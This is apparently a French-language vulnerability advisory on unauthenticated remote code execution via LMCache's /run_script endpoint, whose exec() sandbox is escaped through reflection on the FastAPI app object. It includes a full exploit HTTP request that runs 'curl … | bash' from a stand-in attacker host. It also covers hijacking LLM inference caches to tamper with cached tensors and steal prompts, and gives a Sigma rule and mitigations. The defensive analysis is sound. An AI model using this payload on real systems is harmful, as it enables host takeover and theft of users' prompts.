Aller au contenu

CVE-2026-107204 : exécution de code à distance non authentifiée sur le magasin de KV cache LMCache via le Point d'accès /run_script

Densité :
HERMES

SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE

Cible : Magasin de KV cache distribué LMCache — Serveur d'API interne et HTTP multiprocessus (run_script_api.py)
Confiance : 98%
95 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 16 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Les métriques CVSS v3.1 (9.8 Critique) et CVSS v4.0 (9.3 Critique) évaluent cette vulnérabilité comme une exécution de code à distance non authentifiée à travers le réseau. Le score de menace Hermes évalue la vulnérabilité à 95 (CRITIQUE) avec un score de sécurité agentique (HASS) de 98 (CRITIQUE). LMCache constitue l'infrastructure d'accélération de cache Key-Value (KV) distribué pour les grappes d'inférence LLM désagrégées exécutant vLLM, Mooncake et SGLang. La faille réside dans un point d'accès /run_script non protégé exposé sur les serveurs HTTP internes et multiprocessus. Si les développeurs ont tenté d'isoler l'exécution en restreignant l'espace de noms global, l'injection de l'instance d'application FastAPI permet à un attaquant de parcourir les attributs d'objets, de restaurer __builtins__, d'importer le module os et d'exécuter des commandes système arbitraires. Au-delà de la compromission de l'hôte, cela confère à un attaquant distant le contrôle direct de la mémoire contextuelle multi-utilisateurs des LLM, permettant l'altération invisible des tenseurs d'attention (MITRE ATLAS AML.T0043) et le vol d'invites entre sessions.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script EndpointVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTLMCache Distributed KVCache Store
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in LMCache Distributed KVCache Store documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique et matrice d’architecture affectée

Section intitulée « 1. Contexte technique et matrice d’architecture affectée »

LMCache orchestre la mise en commun hiérarchique de la mémoire de cache KV entre la mémoire à haute bande passante des GPU (HBM), la mémoire vive (DRAM), les volumes NVMe locaux et les magasins réseau. Il expose des interfaces de communication multiprocessus et des microservices FastAPI pour assurer la synchronisation entre processus de calcul et nœuds de cache distants.

ParamètreSpécification techniqueDétails opérationnels
Identifiant CVECVE-2026-107204Référence du catalogue international des vulnérabilités
Plateforme logicielleMagasin de KV cache distribué LMCacheMoteur d’accélération de mémoire de cache pour inférence LLM
Composants vulnérableslmcache/v1/internal_api_server/common/run_script_api.py / lmcache/v1/multiprocess/http_apis/common_api.pyGestionnaires de routes FastAPI pour /run_script
Classe de vulnérabilitéCWE-306 / CWE-94 / CWE-78Absence d’authentification / exécution arbitraire de code
Vecteur d’attaqueRéseau (Port 8000/tcp, Port 65432/tcp)Requête HTTP POST non authentifiée avec charge utile JSON
Version correctiveLMCache v0.5.6Suppression du point d’accès de débogage et validation de jetons
[ Attaquant distant non authentifié ]
|
Requête HTTP POST /run_script vers le port d'API LMCache
Charge utile : code Python exploitant la réflexion FastAPI
|
v
+----------------------------------------------------+
| API HTTP interne LMCache (Routeur FastAPI) |
| 0.0.0.0:8000 / 0.0.0.0:65432 sans contrôle |
+----------------------------------------------------+
|
exec(script, {"app": app, "__builtins__": {}})
|
v
+----------------------------------------------------+
| Évasion du bac à sable via l'objet app |
| app.__class__.__bases__[0].__subclasses__() |
| ou app.extra['__builtins__'] -> import os |
+----------------------------------------------------+
|
v
+----------------------------------------------------+
| Exécution de commandes système arbitraires |
| Privilèges : démon du serveur d'inférence |
+----------------------------------------------------+
/ | \
v v v
[ Altération KV cache ] [ Vol d'invites ] [ Prise de contrôle GPU ]
Tenseurs corrompus AML.T0043 Fuite mémoire multi-tenant Évasion de conteneur

2. Analyse de cause racine et anatomie du code vulnérable

Section intitulée « 2. Analyse de cause racine et anatomie du code vulnérable »

La cause racine se situe dans deux modules de gestion d’API interconnectés : lmcache/v1/internal_api_server/common/run_script_api.py et lmcache/v1/multiprocess/http_apis/common_api.py.

Les développeurs ont mis en place un mécanisme d’exécution dynamique de scripts pour faciliter le diagnostic et la collecte de télémétrie. La route a été définie sans aucune dépendance d’authentification ni vérification de jeton d’API :

# Extrait vulnérable de lmcache/v1/internal_api_server/common/run_script_api.py
from fastapi import APIRouter, Request, HTTPException
from pydantic import BaseModel
router = APIRouter()
class ScriptRequest(BaseModel):
script: str
@router.post("/run_script")
async def run_script(request: Request, body: ScriptRequest):
# DÉFAUT CRITIQUE 1 : absence d'authentification, de jeton ou de mTLS
app = request.app
# Tentative erronée d'isolation :
# Écrasement de __builtins__ par un dictionnaire vide
execution_context = {
"app": app,
"__builtins__": {} # Censé empêcher l'usage de __import__
}
try:
# DÉFAUT CRITIQUE 2 : appel direct à exec() sur une chaîne externe
exec(body.script, execution_context)
return {"status": "success"}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))

L’auteur a cherché à bloquer les fonctions dangereuses comme __import__, open() et eval() en fixant "__builtins__": {}. Cependant, la transmission de l’instance vivante app dans le dictionnaire d’exécution annule totalement cette restriction :

  1. Parcours de la hiérarchie d’objets : en Python, toute instance de classe maintient des références vers sa classe (__class__), ses classes parentes (__bases__) et l’espace de noms global de son module (__init__.__globals__).
  2. Accès aux variables globales des modules : en interrogeant app.router.__class__.__init__.__globals__, l’attaquant accède directement aux modules sys et builtins chargés par FastAPI.
  3. Restauration de __import__ : par ce chemin, l’attaquant récupère la fonction native builtins.__import__ et importe os ou subprocess, obtenant une exécution complète de commandes système.

Les attaquants militarisent la CVE-2026-107204 selon une séquence d’exploitation directe :

[Reconnaissance] ──> [Génération de charge] ──> [Requête HTTP POST] ──> [Évasion bac à sable] ──> [Prise de contrôle]
Scan port 8000/tcp Réflexion FastAPI /run_script os.system('id') Shell inverse et
Shodan / Masscan Restauration builtins Non authentifié Démon d'inférence corruption de cache

Un attaquant transmet une charge JSON vers le port non authentifié :

POST /run_script HTTP/1.1
Host: inference-node-04.cluster.internal:8000
Content-Type: application/json
Content-Length: 268
{
"script": "builtins = [c for c in app.router.__class__.__init__.__globals__.values() if hasattr(c, '__import__') or (isinstance(c, dict) and '__builtins__' in c)][0]\nos = builtins['__import__']('os')\nos.system('curl -s https://c2.attacker.org/beacon | bash')"
}

Dès réception, le processus LMCache exécute le script de manière synchrone. Étant donné que les démons d’inférence s’exécutent fréquemment avec des privilèges de conteneur élevés (tels que --ipc=host, --gpus all ou le partage de mémoire pour les transferts RDMA), l’attaquant peut explorer la mémoire des conteneurs voisins et manipuler le matériel d’accélération GPU.


Les équipes de détection et de réponse à incident (DFIR) chargées d’investiguer l’exploitation potentielle de la CVE-2026-107204 doivent inspecter les journaux HTTP, la télémétrie d’exécution de processus et les flux réseau internes.

title: Appel suspect du point d'accès d'exécution de script LMCache
id: 8c1d5f30-e340-4b21-9961-fa89b3f72a04
status: experimental
description: Détecte les requêtes HTTP POST ciblant le point d'accès /run_script de LMCache signalant une tentative d'exploitation de la CVE-2026-107204.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-10-08
logsource:
category: webserver
product: ingress_controller / envoy / nginx / uvicorn
detection:
selection_path:
cs-method: 'POST'
cs-uri-stem|endswith: '/run_script'
selection_payload:
cs-uri-query|contains:
- '__globals__'
- '__builtins__'
- '__subclasses__'
condition: selection_path or selection_payload
fields:
- c-ip
- cs-method
- cs-uri-stem
- sc-status
falsepositives:
- Scripts de maintenance internes autorisés dans des grappes de test isolées (très rare)
level: critical
tags:
- attack.execution
- attack.t1059.006
- cve.cve-2026-107204

  1. Mettre à niveau LMCache : déployer sans délai la version 0.5.6 ou supérieure de LMCache sur l’ensemble des nœuds d’inférence et des manifestes Kubernetes :

    Fenêtre de terminal
    pip install --upgrade "lmcache>=0.5.6"
  2. Désactiver les points d’accès de débogage : dans la version 0.5.6, la route /run_script a été définitivement supprimée du routeur d’API de production. En cas de délai de déploiement, bloquer immédiatement l’accès au chemin au niveau du mandataire inverse :

    # Directive de blocage Nginx
    location /run_script {
    return 403 "Forbidden";
    }
  3. Isolation réseau et écoute sur l’interface locale : veiller à ce que les services de coordination de LMCache n’écoutent que sur l’interface locale (127.0.0.1) ou sur des réseaux privés de pods Kubernetes isolés par des NetworkPolicies, empêchant tout accès direct depuis des réseaux non fiables.

  4. Restriction des privilèges de conteneur : exécuter les conteneurs d’inférence sans capacités Linux superflues et imposer une exécution sous un identifiant non root (securityContext.runAsNonRoot: true).